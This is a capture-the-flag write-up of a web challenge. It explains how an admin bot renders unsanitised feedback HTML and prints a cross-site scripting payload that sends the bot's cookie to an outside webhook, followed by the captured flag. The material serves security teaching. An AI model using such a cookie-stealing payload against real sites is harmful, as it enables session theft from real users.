Your feedback is not appreciated
Thank you to Tom Lynch for submitting this writeup!
Web: Your feedback is not appreciated
Challenge Description
NB: This is the challenge related to the admin bot
Yuri Nocashov has taken a deep interest in customer feedback, and will read all feedback forms submitted!
Preliminary Knowledge
Webhooks
A webhook is a mechanism for one application to send data to another through HTTP requests.
In CTFs, webhooks are often used to capture data sent by a target server. By hosting a webhook, you can receive requests containing sensitive information, most commonly HTML-based data such as cookies or page content.
Some common webhook services include:
https://pipedream.com/requestbin
TL;DR: Webhooks are endpoints under your control that receive requests from a target application, allowing you to capture and analyze these requests.
Approach
Evaluating the challenge clues, we see references to /feedback and the fact that all feedback is read. This suggests that the admin bot renders all user-submitted feedback.
Looking at the admin bot code, we find an important snippet:
// Set cookies for this origin (flag is JS-readable on purpose)
const page = await context.newPage();
await page.setCookie(
{ name: 'admin', value: '1', url: PUBLIC_BASE, httpOnly: true, sameSite: 'Lax', path: '/' },
{ name: 'flag', value: ADMIN_FLAG, url: PUBLIC_BASE, httpOnly: false, sameSite: 'Lax', path: '/' },
);
Here we see that the flag is intentionally JS-readable and stored in a cookie called flag.
Examining further, we find a potential XSS vector:
app.post('/ingest', async (req, res) => {
const { html } = req.body || {};
// ...
const filename = `${id}.html`;
await fs.writeFile(filePath, html, 'utf8');
const url = `${PUBLIC_BASE}/feedback/${filename}`;
await page.goto(url, { waitUntil: 'networkidle0' });
This shows that user-supplied HTML is written directly to a file and rendered by the admin bot without any sanitization. Any code wrapped in <script>
tags will execute when the admin bot loads the feedback page.
From this, we know:
-
The admin bot will load our feedback.
-
The flag is stored in a JS-readable cookie called flag.
-
Feedback HTML is rendered without sanitization, creating an XSS vector.
This gives us enough information to exfiltrate the flag cookie.
The first step is to set up a webhook (we’ll use webhook.site for this example). We can then inject the following payload:
<script>fetch("https://webhook.site/xxx" + document.cookie)</script>
This will then send the cookie containing the flag to our webhook giving us;
RISC%7Bex_ess_ess_is_easy_as_1_2_3_e78c1cda77704a884357eeffedb3d3e7%7D
Formatting too:
RISC{ex_ess_ess_is_easy_as_1_2_3_e78c1cda77704a884357eeffedb3d3e7}